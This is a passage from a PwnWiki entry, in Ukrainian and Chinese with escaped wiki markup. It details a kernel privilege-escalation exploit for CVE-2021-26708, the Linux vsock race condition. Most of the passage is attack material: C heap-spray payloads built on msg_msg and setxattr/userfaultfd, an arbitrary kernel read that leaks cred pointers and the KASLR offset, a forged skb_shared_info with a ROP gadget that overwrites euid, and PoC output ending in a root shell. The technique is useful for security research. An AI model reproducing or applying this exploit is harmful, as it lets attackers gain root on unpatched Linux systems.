Спереду - заголовок повідомлення, а ззаду - дані повідомлення. Якщо структура msgbuf у користувацькому просторі має 16-байтовий mtext, відповідний msg_msg буде створений у кеш-пам'яті kmalloc-64. 4-байтовий беззаписний запис зруйнує покажчик безпеки void * зі зміщенням 40. Поле msg_msg.security вказує на дані ядра, виділені lsm_msg_msg_alloc (). Коли msg_msg отримано, воно буде звільнене за допомогою security_msg_msg_free (). Отже, знищивши першу половину покажчика безпеки, можна отримати довільний безкоштовний.&lt;br /&gt;
&lt;br /&gt;
== Витік інформації про ядро ​​==&lt;br /&gt;
&lt;br /&gt;
Тут використовується [https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683] та ж техніка. Друге з'єднання () віртуального сокета викликає &amp;lt;code&amp;gt; vsock_de assign_transport () &amp;lt;/code&amp;gt; і встановлює &amp;lt;code&amp;gt; vsk-&amp;gt; transport &amp;lt;/code&amp;gt; на NULL, роблячи &amp;lt;code&amp;gt; vsock_stream_setsockopt () &amp;lt;/code&amp;gt; Виклик &amp;lt;code &amp;gt; virtio_transport_send_pkt_info () &amp;lt;/code&amp;gt; після збою пам'яті з'являється попередження ядра:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34&lt;br /&gt;
...&lt;br /&gt;
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1&lt;br /&gt;
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014&lt;br /&gt;
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]&lt;br /&gt;
...&lt;br /&gt;
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246&lt;br /&gt;
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80&lt;br /&gt;
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0&lt;br /&gt;
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000&lt;br /&gt;
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008&lt;br /&gt;
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0&lt;br /&gt;
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000&lt;br /&gt;
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033&lt;br /&gt;
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0&lt;br /&gt;
Call Trace:&lt;br /&gt;
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]&lt;br /&gt;
  vsock_update_buffer_size+0x5f/0x70 [vsock]&lt;br /&gt;
  vsock_stream_setsockopt+0x128/0x270 [vsock]&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
За допомогою налагодження gdb виявляється, що регістр RCX містить адресу ядра звільненої virtio_vsock_sock, а регістр RBX - адресу ядра vsock_sock.&lt;br /&gt;
&lt;br /&gt;
== Досягнення довільного читання ==&lt;br /&gt;
&lt;br /&gt;
===From arbitrary free to use-after-free===&lt;br /&gt;
&lt;br /&gt;
Звільніть об’єкт з адреси ядра, що просочилася&lt;br /&gt;
Виконайте розпилення купи та накрийте об’єкт контрольованими даними&lt;br /&gt;
Використовуйте пошкоджені об’єкти для ескалації привілеїв&lt;br /&gt;
Повідомлення System V, реалізоване ядром, має максимальний ліміт DATALEN_MSG, тобто PAGE_SIZE мінус sizeof (struct msg_msg)). Якщо ви надсилаєте повідомлення більшого розміру, решта повідомлень зберігаються у списку сегментів повідомлень. Msg_msg містить структуру msg_msgseg * поруч із вказівкою на перший сегмент, а size_t m_ts використовується для зберігання розміру. При виконанні операції перезапису ви можете помістити контрольоване значення в msg_msg.m_ts та msg_msg.next:&lt;br /&gt;
&lt;br /&gt;
[[File:T01a51dfe7a996e854c.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Payload:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
    #define PAYLOAD_SZ 40 &lt;br /&gt;
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)&lt;br /&gt;
    {&lt;br /&gt;
        struct msg_msg *msg_ptr;&lt;br /&gt;
&lt;br /&gt;
        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;&lt;br /&gt;
&lt;br /&gt;
        /* Don't touch the second part to avoid breaking page fault delivery */&lt;br /&gt;
        memset(spray_data, 0xa5, PAGE_SIZE * 4);&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;[+] adapt the msg_msg spraying payload:\n&amp;quot;);&lt;br /&gt;
        msg_ptr = (struct msg_msg *)xattr_addr;&lt;br /&gt;
        msg_ptr-&amp;gt;m_type = 0x1337;&lt;br /&gt;
        msg_ptr-&amp;gt;m_ts = ARB_READ_SZ;&lt;br /&gt;
        msg_ptr-&amp;gt;next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */&lt;br /&gt;
        printf(&amp;quot;\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n&amp;quot;,&lt;br /&gt;
               msg_ptr,&lt;br /&gt;
               msg_ptr-&amp;gt;m_type, &amp;amp;(msg_ptr-&amp;gt;m_type),&lt;br /&gt;
               msg_ptr-&amp;gt;m_ts, &amp;amp;(msg_ptr-&amp;gt;m_ts),&lt;br /&gt;
               msg_ptr-&amp;gt;next, &amp;amp;(msg_ptr-&amp;gt;next));&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Але як використовувати msg_msg для читання даних ядра? Читаючи документацію щодо системного виклику msgrcv (), я знайшов хороше рішення, використовуючи прапори msgrcv () та MSG:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MSG_COPY (since Linux 3.8)&lt;br /&gt;
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue&lt;br /&gt;
        specified by msgtyp (messages are considered to be numbered starting at 0).&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Цей прапор змушує ядро ​​копіювати дані повідомлень у користувацький простір, не видаляючи їх із черги повідомлень. Якщо ядро ​​має CONFIG_CHECKPOINT_RESTORE = y, то MSG доступний і застосовується на сервері Fedora.&lt;br /&gt;
&lt;br /&gt;
=== Етапи довільного читання ===&lt;br /&gt;
&lt;br /&gt;
Готовий до роботи:&lt;br /&gt;
Використовуйте sched_getaffinity () та CPU_COUNT () для обчислення кількості доступних процесорів (для цієї вразливості потрібно щонайменше два);&lt;br /&gt;
Відкрити /dev/kmsg для аналізу;&lt;br /&gt;
mmap () налаштовує userfaultfd () в області пам'яті spray_data як останню частину;&lt;br /&gt;
Запустіть окремий pthread для обробки подій userfaultfd ();&lt;br /&gt;
Запустіть 127 потоків для розпилювача кучі setxattr () &amp;amp; userfaultfd () на msg_msg і повісьте їх на thread_barrier;&lt;br /&gt;
Отримайте адресу ядра оригінального msg_msg:&lt;br /&gt;
Умовна конкуренція на віртуальних сокетах;&lt;br /&gt;
Після другого з'єднання (), зачекайте 35 мікросекунд у зайнятому циклі;&lt;br /&gt;
Зателефонуйте msgsnd (), щоб створити окрему чергу повідомлень; після пошкодження пам’яті об’єкт msg_msg поміщається в положення virtio_vsock_sock;&lt;br /&gt;
Проаналізуйте журнал ядра та збережіть адресу ядра msg_msg із попередження ядра (регістр RCX);&lt;br /&gt;
Одночасно збережіть адресу ядра vsock_sock з реєстру RBX;&lt;br /&gt;
Використовуйте пошкоджений msg_msg, щоб виконати довільний випуск оригінального msg_msg:&lt;br /&gt;
Використовуйте 4 байти вихідної адреси msg_msg як SO_VM_SOCKETS_BUFFER_SIZE для досягнення пошкодження пам’яті;&lt;br /&gt;
Умовна конкуренція на віртуальних сокетах;&lt;br /&gt;
Зателефонуйте msgsnd () відразу після другого з'єднання (); msg_msg розміщується в положенні virtio_vsock_sock для досягнення знищення;&lt;br /&gt;
Покажчик безпеки тепер знищеного msg_msg зберігає адресу оригінального msg_msg (з кроку 2);&lt;br /&gt;
&lt;br /&gt;
[[File:T01a2a2d47c9494c4a5.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
Якщо під час обробки msgsnd () відбувається пошкодження пам'яті msg_msg.security з потоку setsockopt (), перевірка дозволів SELinux не вдається;&lt;br /&gt;
У цьому випадку msgsnd () повертає -1, а пошкоджений msg_msg знищується; випуск msg_msg.security може звільнити оригінальний msg_msg;&lt;br /&gt;
Перезапишіть вихідний msg_msg контрольованим корисним навантаженням:&lt;br /&gt;
Після того, як msgsnd () вийде з ладу, вразливість викличе pthread_barrier_wait () і викличе 127 pthreads для розпилення купи;&lt;br /&gt;
Ці pthreads виконують корисне навантаження setxattr ();&lt;br /&gt;
Початковий msg_msg замінюється керованими даними, а покажчик msg_msg.next зберігає адресу об'єкта vsock_sock;&lt;br /&gt;
&lt;br /&gt;
[[File:T0140baae964febb059.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
Прочитайте вміст об’єкта ядра vsock_sock до простору користувача, отримавши повідомлення з черги повідомлень, в якому зберігається перезаписаний msg_msg:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,&lt;br /&gt;
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Знайдіть ціль атаки ==&lt;br /&gt;
&lt;br /&gt;
Ось пункти, які я знайшов:&lt;br /&gt;
1. Виділений кеш блоку, такий як PINGv6 та sock_inode_cache, має багато покажчиків на об'єкти&lt;br /&gt;
2. Покажчик struct mem_cgroup * sk_memcg має зміщення 664 у vsock_sock.sk. Структура mem_cgroup виділена в кеш-пам’яті kmalloc-4k.&lt;br /&gt;
3. Вказівник власника const struct cred * знаходиться на відстані 840 від vsock_sock.sk і зберігає адресу облікових даних, які можна перезаписати для ескалації дозволів.&lt;br /&gt;
4. Покажчик функції void (* sk_write_space) (struct sock *) знаходиться на відстані 688 від vsock_sock.sk і встановлюється на адресу функції ядра sock_def_write_space (). Він може бути використаний для розрахунку зміщення KASLR.&lt;br /&gt;
&lt;br /&gt;
Ось як уразливість витягує ці вказівники з пам'яті:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)&lt;br /&gt;
#define OWNER_CRED_OFFSET    840&lt;br /&gt;
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)&lt;br /&gt;
#define SK_WRITE_SPACE_OFFSET    688&lt;br /&gt;
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) &lt;br /&gt;
/*&lt;br /&gt;
 * From Linux kernel 5.10.11-200.fc33.x86_64:&lt;br /&gt;
 *   function pointer for calculating KASLR secret&lt;br /&gt;
 */&lt;br /&gt;
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu &lt;br /&gt;
unsigned long sk_memcg = 0;&lt;br /&gt;
unsigned long owner_cred = 0;&lt;br /&gt;
unsigned long sock_def_write_space = 0;&lt;br /&gt;
unsigned long kaslr_offset = 0;&lt;br /&gt;
&lt;br /&gt;
/* ... */&lt;br /&gt;
&lt;br /&gt;
    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            sk_memcg, SK_MEMCG_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found owner cred %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            owner_cred, OWNER_CRED_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;&lt;br /&gt;
    printf(&amp;quot;[+] Calculated kaslr offset: %lx\n&amp;quot;, kaslr_offset);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Впровадити Use-after-free на sk_buff ==&lt;br /&gt;
&lt;br /&gt;
Мережевий буфер в ядрі Linux представлений структурою sk_buff.У цьому об’єкті є skb_shared_info та destructor_arg, які можна використовувати для викрадення потоку управління. Дані мережі та skb_shared_info розміщуються в одному блоці пам'яті ядра, на який вказує sk_buff.head. Отже, створення 2800-байтового мережевого пакету в просторі користувача призведе до того, що skb_shared_info буде виділено в кеш-пам’ять kmalloc-4k, як і об’єкт mem_cgroup.&lt;br /&gt;
&lt;br /&gt;
Я побудував такі кроки:&lt;br /&gt;
&lt;br /&gt;
1. Використовуйте сокети (AF_INET, SOCK_DGRAM, IPPROTO_UDP), щоб створити клієнтський сокет і 32 серверні сокети&lt;br /&gt;
&lt;br /&gt;
2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
4.對vsock_sock執行任意讀取過程&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
6.對這個可能的sk_buff地址執行任意讀&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
7.如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
8.sk_buff上執行32個pthreads的setxattr()&amp;amp;userfaultfd()堆噴射，並把它們掛在pthread_barrier上&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
9.對sk_buff內核地址進行任意釋放&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
10.調用pthread_barrier_wait()，執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
11.使用recv()接收服務器套接字的網絡消息。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==通過skb_shared_info 進行任意寫==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
以下是覆蓋sk_buff對象的有效payload：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#define SKB_SIZE        4096&lt;br /&gt;
#define SKB_SHINFO_OFFSET    3776&lt;br /&gt;
#define MY_UINFO_OFFSET        256&lt;br /&gt;
#define SKBTX_DEV_ZEROCOPY    (1 &amp;lt;&amp;lt; 3) &lt;br /&gt;
void prepare_xattr_vs_skb_spray(void)&lt;br /&gt;
{&lt;br /&gt;
    struct skb_shared_info *info = NULL;&lt;br /&gt;
&lt;br /&gt;
    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;&lt;br /&gt;
&lt;br /&gt;
    /* Don't touch the second part to avoid breaking page fault delivery */&lt;br /&gt;
    memset(spray_data, 0x0, PAGE_SIZE * 4);&lt;br /&gt;
&lt;br /&gt;
    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);&lt;br /&gt;
    info-&amp;gt;tx_flags = SKBTX_DEV_ZEROCOPY;&lt;br /&gt;
    info-&amp;gt;destructor_arg = uaf_write_value + MY_UINFO_OFFSET;&lt;br /&gt;
&lt;br /&gt;
    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:T0185ccbf9f025c74da.png  | 600px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
下面講講destructor_arg 回調:&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /*&lt;br /&gt;
     * A single ROP gadget for arbitrary write:&lt;br /&gt;
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret&lt;br /&gt;
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1&lt;br /&gt;
     */&lt;br /&gt;
    uinfo_p-&amp;gt;callback = ARBITRARY_WRITE_GADGET + kaslr_offset;&lt;br /&gt;
    uinfo_p-&amp;gt;desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for &amp;quot;qword ptr [rdi + 8]&amp;quot; */&lt;br /&gt;
    uinfo_p-&amp;gt;desc = uinfo_p-&amp;gt;desc - 1; /* rsi value 1 should not get into euid */&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[a13x@localhost ~]$ ./vsock_pwn&lt;br /&gt;
&lt;br /&gt;
=================================================&lt;br /&gt;
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====&lt;br /&gt;
=================================================&lt;br /&gt;
&lt;br /&gt;
[+] begin as: uid=1000, euid=1000&lt;br /&gt;
[+] we have 2 CPUs for racing&lt;br /&gt;
[+] getting ready...&lt;br /&gt;
[+] remove old files for ftok()&lt;br /&gt;
[+] spray_data at 0x7f0d9111d000&lt;br /&gt;
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000&lt;br /&gt;
[+] fault_handler for uffd 38 is ready&lt;br /&gt;
&lt;br /&gt;
[+] stage I: collect good msg_msg locations&lt;br /&gt;
[+] go racing, show wins: &lt;br /&gt;
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0&lt;br /&gt;
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1&lt;br /&gt;
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2&lt;br /&gt;
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3&lt;br /&gt;
&lt;br /&gt;
[+] stage II: arbitrary free msg_msg using corrupted msg_msg&lt;br /&gt;
    kaddr for arb free: ffff9125c25a4d00&lt;br /&gt;
    kaddr for arb read: ffff9125c2035300&lt;br /&gt;
[+] adapt the msg_msg spraying payload:&lt;br /&gt;
    msg_ptr 0x7f0d91120fd8&lt;br /&gt;
    m_type 1337 at 0x7f0d91120fe8&lt;br /&gt;
    m_ts 6096 at 0x7f0d91120ff0&lt;br /&gt;
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8&lt;br /&gt;
[+] go racing, show wins: &lt;br /&gt;
&lt;br /&gt;
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)&lt;br /&gt;
[+] msgrcv returned 6096 bytes&lt;br /&gt;
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)&lt;br /&gt;
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)&lt;br /&gt;
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)&lt;br /&gt;
[+] Calculated kaslr offset: 2a000000&lt;br /&gt;
&lt;br /&gt;
[+] stage IV: search sprayed skb near sk_memcg...&lt;br /&gt;
[+] checking possible skb location: ffff9125c42fa000&lt;br /&gt;
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg&lt;br /&gt;
    kaddr for arb free: ffff9125c25a4640&lt;br /&gt;
    kaddr for arb read: ffff9125c42fa030&lt;br /&gt;
[+] adapt the msg_msg spraying payload:&lt;br /&gt;
    msg_ptr 0x7f0d91120fd8&lt;br /&gt;
    m_type 1337 at 0x7f0d91120fe8&lt;br /&gt;
    m_ts 6096 at 0x7f0d91120ff0&lt;br /&gt;
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8&lt;br /&gt;
[+] go racing, show wins: 0 0 20 15 42 11 &lt;br /&gt;
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)&lt;br /&gt;
[+] msgrcv returned 6096 bytes&lt;br /&gt;
[+] found a real skb&lt;br /&gt;
&lt;br /&gt;
[+] stage V: try to do UAF on skb at ffff9125c42fa000&lt;br /&gt;
[+] skb payload:&lt;br /&gt;
    start at 0x7f0d91120004&lt;br /&gt;
    skb_shared_info at 0x7f0d91120ec4&lt;br /&gt;
    tx_flags 0x8&lt;br /&gt;
    destructor_arg 0xffff9125c42fa100&lt;br /&gt;
    callback 0xffffffffab64f6d4&lt;br /&gt;
    desc 0xffff9125c3fd6e53&lt;br /&gt;
[+] go racing, show wins: 15 &lt;br /&gt;
&lt;br /&gt;
[+] stage VI: repeat UAF on skb at ffff9125c42fa000&lt;br /&gt;
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 &lt;br /&gt;
&lt;br /&gt;
[+] finish as: uid=0, euid=0&lt;br /&gt;
[+] starting the root shell...&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==視頻==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;youtube&amp;gt;https://www.youtube.com/watch?v=EC8PFOYOUgU&amp;lt;/youtube&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==參考==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>